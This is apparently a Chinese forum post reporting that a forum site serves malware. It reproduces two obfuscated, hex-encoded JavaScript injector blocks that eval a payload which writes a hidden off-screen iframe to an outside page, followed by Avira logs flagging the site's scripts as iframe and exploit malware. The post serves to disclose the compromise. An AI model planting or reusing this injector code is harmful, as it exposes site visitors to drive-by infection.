裏面

fireold

1. http://www.gdforum.com/forum/index.php?PHPSESSID=6erc8u5fs5glin2p6ilm812tb1

复制代码

1. /*74ed9f*/
   
2. dxr = "y";
   
3. uzcyb = "d" + "o" + "c" + "ument";
   
4. try {
   
5.     +
   
6.     function() {
   
7.         if (document.querySelector)++(window[uzcyb].body) == null
   
8.     }()
   
9. } catch (iepdvp) {
   
10.     uws = function(qpxgn) {
    
11.         qpxgn = "fr" + "omCh" + qpxgn;
    
12.         for (ysxbbg = 0; ysxbbg < dxr.length; ysxbbg++) {
    
13.             dvvi += String[qpxgn](ccomuc(kctl + (dxr[ysxbbg])) - (7));
    
14.         }
    
15.     };
    
16. };
    
17. ccomuc = (eval);
    
18. kctl = "0x";
    
19. eckns = 0;
    
20. try {;
    
21. } catch (qkrx) {
    
22.     eckns = 1
    
23. }
    
24. if (!eckns) {
    
25.     try {
    
26.         ++ccomuc(uzcyb)["\x62o" + "d" + dxr]
    
27.     } catch (iepdvp) {
    
28.         eak = "^";
    
29.     }
    
30.     dxr = "27^6d^7c^75^6a^7b^70^76^75^27^72^6f^6b^6e^37^40^2f^30^27^82^14^11^27^7d^68^79^27^7a^7b^68^7b^70^6a^44^2e^68^71^68^7f^2e^42^14^11^27^7d^68^79^27^6a^76^75^7b^79^76^73^73^6c^79^44^2e^70^75^6b^6c^7f^35^77^6f^77^2e^42^14^11^27^7d^68^79^27^72^6f^6b^6e^27^44^27^6b^76^6a^7c^74^6c^75^7b^35^6a^79^6c^68^7b^6c^4c^73^6c^74^6c^75^7b^2f^2e^70^6d^79^68^74^6c^2e^30^42^14^11^14^11^27^72^6f^6b^6e^35^7a^79^6a^27^44^27^2e^6f^7b^7b^77^41^36^36^7e^7e^7e^35^68^74^68^81^70^75^6e^6a^76^7a^74^6c^7b^70^6a^7a^35^76^79^6e^36^7e^72^81^6f^71^39^5b^6e^35^77^6f^77^2e^42^14^11^27^72^6f^6b^6e^35^7a^7b^80^73^6c^35^77^76^7a^70^7b^70^76^75^27^44^27^2e^68^69^7a^76^73^7c^7b^6c^2e^42^14^11^27^72^6f^6b^6e^35^7a^7b^80^73^6c^35^6a^76^73^76^79^27^44^27^2e^3d^3f^39^2e^42^14^11^27^72^6f^6b^6e^35^7a^7b^80^73^6c^35^6f^6c^70^6e^6f^7b^27^44^27^2e^3d^3f^39^77^7f^2e^42^14^11^27^72^6f^6b^6e^35^7a^7b^80^73^6c^35^7e^70^6b^7b^6f^27^44^27^2e^3d^3f^39^77^7f^2e^42^14^11^27^72^6f^6b^6e^35^7a^7b^80^73^6c^35^73^6c^6d^7b^27^44^27^2e^38^37^37^37^3d^3f^39^2e^42^14^11^27^72^6f^6b^6e^35^7a^7b^80^73^6c^35^7b^76^77^27^44^27^2e^38^37^37^37^3d^3f^39^2e^42^14^11^14^11^27^70^6d^27^2f^28^6b^76^6a^7c^74^6c^75^7b^35^6e^6c^7b^4c^73^6c^74^6c^75^7b^49^80^50^6b^2f^2e^72^6f^6b^6e^2e^30^30^27^82^14^11^27^6b^76^6a^7c^74^6c^75^7b^35^7e^79^70^7b^6c^2f^2e^43^77^27^70^6b^44^63^2e^72^6f^6b^6e^63^2e^27^6a^73^68^7a^7a^44^63^2e^72^6f^6b^6e^37^40^63^2e^27^45^43^36^77^45^2e^30^42^14^11^27^6b^76^6a^7c^74^6c^75^7b^35^6e^6c^7b^4c^73^6c^74^6c^75^7b^49^80^50^6b^2f^2e^72^6f^6b^6e^2e^30^35^68^77^77^6c^75^6b^4a^6f^70^73^6b^2f^72^6f^6b^6e^30^42^14^11^27^84^14^11^84^14^11^6d^7c^75^6a^7b^70^76^75^27^5a^6c^7b^4a^76^76^72^70^6c^2f^6a^76^76^72^70^6c^55^68^74^6c^33^6a^76^76^72^70^6c^5d^68^73^7c^6c^33^75^4b^68^80^7a^33^77^68^7b^6f^30^27^82^14^11^27^7d^68^79^27^7b^76^6b^68^80^27^44^27^75^6c^7e^27^4b^68^7b^6c^2f^30^42^14^11^27^7d^68^79^27^6c^7f^77^70^79^6c^27^44^27^75^6c^7e^27^4b^68^7b^6c^2f^30^42^14^11^27^70^6d^27^2f^75^4b^68^80^7a^44^44^75^7c^73^73^27^83^83^27^75^4b^68^80^7a^44^44^37^30^27^75^4b^68^80^7a^44^38^42^14^11^27^6c^7f^77^70^79^6c^35^7a^6c^7b^5b^70^74^6c^2f^7b^76^6b^68^80^35^6e^6c^7b^5b^70^74^6c^2f^30^27^32^27^3a^3d^37^37^37^37^37^31^39^3b^31^75^4b^68^80^7a^30^42^14^11^27^6b^76^6a^7c^74^6c^75^7b^35^6a^76^76^72^70^6c^27^44^27^6a^76^76^72^70^6c^55^68^74^6c^32^29^44^29^32^6c^7a^6a^68^77^6c^2f^6a^76^76^72^70^6c^5d^68^73^7c^6c^30^14^11^27^32^27^29^42^6c^7f^77^70^79^6c^7a^44^29^27^32^27^6c^7f^77^70^79^6c^35^7b^76^4e^54^5b^5a^7b^79^70^75^6e^2f^30^27^32^27^2f^2f^77^68^7b^6f^30^27^46^27^29^42^27^77^68^7b^6f^44^29^27^32^27^77^68^7b^6f^27^41^27^29^29^30^42^14^11^84^14^11^6d^7c^75^6a^7b^70^76^75^27^4e^6c^7b^4a^76^76^72^70^6c^2f^27^75^68^74^6c^27^30^27^82^14^11^27^7d^68^79^27^7a^7b^68^79^7b^27^44^27^6b^76^6a^7c^74^6c^75^7b^35^6a^76^76^72^70^6c^35^70^75^6b^6c^7f^56^6d^2f^27^75^68^74^6c^27^32^27^29^44^29^27^30^42^14^11^27^7d^68^79^27^73^6c^75^27^44^27^7a^7b^68^79^7b^27^32^27^75^68^74^6c^35^73^6c^75^6e^7b^6f^27^32^27^38^42^14^11^27^70^6d^27^2f^27^2f^27^28^7a^7b^68^79^7b^27^30^27^2d^2d^14^11^27^2f^27^75^68^74^6c^27^28^44^27^6b^76^6a^7c^74^6c^75^7b^35^6a^76^76^72^70^6c^35^7a^7c^69^7a^7b^79^70^75^6e^2f^27^37^33^27^75^68^74^6c^35^73^6c^75^6e^7b^6f^27^30^27^30^27^30^14^11^27^82^14^11^27^79^6c^7b^7c^79^75^27^75^7c^73^73^42^14^11^27^84^14^11^27^70^6d^27^2f^27^7a^7b^68^79^7b^27^44^44^27^34^38^27^30^27^79^6c^7b^7c^79^75^27^75^7c^73^73^42^14^11^27^7d^68^79^27^6c^75^6b^27^44^27^6b^76^6a^7c^74^6c^75^7b^35^6a^76^76^72^70^6c^35^70^75^6b^6c^7f^56^6d^2f^27^29^42^29^33^27^73^6c^75^27^30^42^14^11^27^70^6d^27^2f^27^6c^75^6b^27^44^44^27^34^38^27^30^27^6c^75^6b^27^44^27^6b^76^6a^7c^74^6c^75^7b^35^6a^76^76^72^70^6c^35^73^6c^75^6e^7b^6f^42^14^11^27^79^6c^7b^7c^79^75^27^7c^75^6c^7a^6a^68^77^6c^2f^27^6b^76^6a^7c^74^6c^75^7b^35^6a^76^76^72^70^6c^35^7a^7c^69^7a^7b^79^70^75^6e^2f^27^73^6c^75^33^27^6c^75^6b^27^30^27^30^42^14^11^84^14^11^70^6d^27^2f^75^68^7d^70^6e^68^7b^76^79^35^6a^76^76^72^70^6c^4c^75^68^69^73^6c^6b^30^14^11^82^14^11^70^6d^2f^4e^6c^7b^4a^76^76^72^70^6c^2f^2e^7d^70^7a^70^7b^6c^6b^66^7c^78^2e^30^44^44^3c^3c^30^82^84^6c^73^7a^6c^82^5a^6c^7b^4a^76^76^72^70^6c^2f^2e^7d^70^7a^70^7b^6c^6b^66^7c^78^2e^33^27^2e^3c^3c^2e^33^27^2e^38^2e^33^27^2e^36^2e^30^42^14^11^14^11^72^6f^6b^6e^37^40^2f^30^42^14^11^84^14^11^84".split(eak);
    
31.     dvvi = "";
    
32.     uws("arCode");
    
33.     ccomuc("" + dvvi);
    
34. } /*/74ed9f*/
    
35. 
    
36. 
    
37. /*a9a007*/
    
38. aes = document;
    
39. vxgv = "spl" + "i" + "t";
    
40. bxuis = window;
    
41. ssvo = "0" + "x";
    
42. lxkojz = (5 - 3 - 1);
    
43. try {
    
44.     --(aes["body"])
    
45. } catch (xhba) {
    
46.     mvk = false;
    
47.     try {} catch (lyzs) {
    
48.         mvk = 21;
    
49.     }
    
50.     if (1) {
    
51.         fzpqi = "17:5d:6c:65:5a:6b:60:66:65:17:6f:63:61:6b:6d:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:6f:63:61:6b:6d:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:6f:63:61:6b:6d:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:67:69:66:70:5c:5a:6b:66:5f:58:59:60:6b:58:6b:5b:5c:63:5c:66:65:25:66:69:5e:26:5a:63:62:25:67:5f:67:1e:32:4:1:17:6f:63:61:6b:6d:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:6f:63:61:6b:6d:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:28:29:2f:30:2b:1e:32:4:1:17:6f:63:61:6b:6d:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:28:29:2f:30:2b:67:6f:1e:32:4:1:17:6f:63:61:6b:6d:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:28:29:2f:30:2b:67:6f:1e:32:4:1:17:6f:63:61:6b:6d:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:28:29:2f:30:2b:1e:32:4:1:17:6f:63:61:6b:6d:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:28:29:2f:30:2b:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6f:63:61:6b:6d:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:6f:63:61:6b:6d:53:1e:17:5a:63:58:6a:6a:34:53:1e:6f:63:61:6b:6d:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6f:63:61:6b:6d:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:6f:63:61:6b:6d:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:6f:63:61:6b:6d:27:30:1f:20:32:4:1:74:4:1:74" [vxgv](":");
    
52.     }
    
53.     bxuis = fzpqi;
    
54.     syt = [];
    
55.     for (nntukb = 22 - 20 - 2; - nntukb + 1439 != 0; nntukb += 1) {
    
56.         shvnkb = nntukb;
    
57.         if ((0x19 == 031)) syt += String.fromCharCode(eval(ssvo + bxuis[1 * shvnkb]) + 0xa - lxkojz);
    
58.     }
    
59.     oxgjf = eval;
    
60.     oxgjf(syt)
    
61. } /*/a9a007*/

复制代码

Avira

2013/11/20 下午 07:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\D24OYQIM\script[2].js 中
      偵測到病毒或有害的程式 'JS/iFrame.det [virus]'
      執行的動作：傳輸至掃描程式

2013/11/20 下午 07:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\T3RSTA4V\theme[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.det [virus]'
      執行的動作：拒絕存取

2013/11/20 下午 07:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\D24OYQIM\script[2].js 中
      偵測到病毒或有害的程式 'JS/iFrame.det [virus]'
      執行的動作：拒絕存取

2013/11/20 下午 07:14 [Web Protection] 發現惡意程式碼
      從 URL "http://gdforum.com/forum/Themes/default/scripts/script.js?fin20" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.det' [virus]。
      已採取動作：已略過

2013/11/20 下午 07:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\L0OQU7K1\sha1[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.det [virus]'
      執行的動作：拒絕存取

2013/11/20 下午 07:14 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\D24OYQIM\index[1].htm'
      包含病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]
      已採取動作：
      檔案會移動至 '5cf1341e.qua' 名稱底下的隔離區目錄!

2013/11/20 下午 07:14 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數：        827
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/11/20 下午 07:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\T3RSTA4V\theme[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.det [virus]'
      執行的動作：傳輸至掃描程式

2013/11/20 下午 07:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\L0OQU7K1\sha1[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.det [virus]'
      執行的動作：傳輸至掃描程式

2013/11/20 下午 07:13 [Web Protection] 發現惡意程式碼
      從 URL "http://gdforum.com/forum/Themes/default/scripts/theme.js?fin20" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.det' [virus]。
      已採取動作：已略過

2013/11/20 下午 07:13 [Web Protection] 發現惡意程式碼
      從 URL "http://gdforum.com/forum/Themes/default/scripts/sha1.js" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.det' [virus]。
      已採取動作：已略過

2013/11/20 下午 07:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\D24OYQIM\index[1].htm 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：傳輸至掃描程式

2013/11/20 下午 07:13 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\D24OYQIM\index[1].htm 中
      偵測到病毒或有害的程式 'EXP/JS.Expack.GQ [exploit]'
      執行的動作：拒絕存取

2013/11/20 下午 07:13 [Web Protection] 發現惡意程式碼
      從 URL
      "http://www.gdforum.com/forum/index.php?PHPSESSID=6erc8u5fs5glin2p6ilm812tb1"
      存取資料時，
      發現病毒或有害的程式 'EXP/JS.Expack.GQ' [exploit]。
      已採取動作：已略過

fs is

抵达怀念

王子带着刀

z紫f风l铃

ESET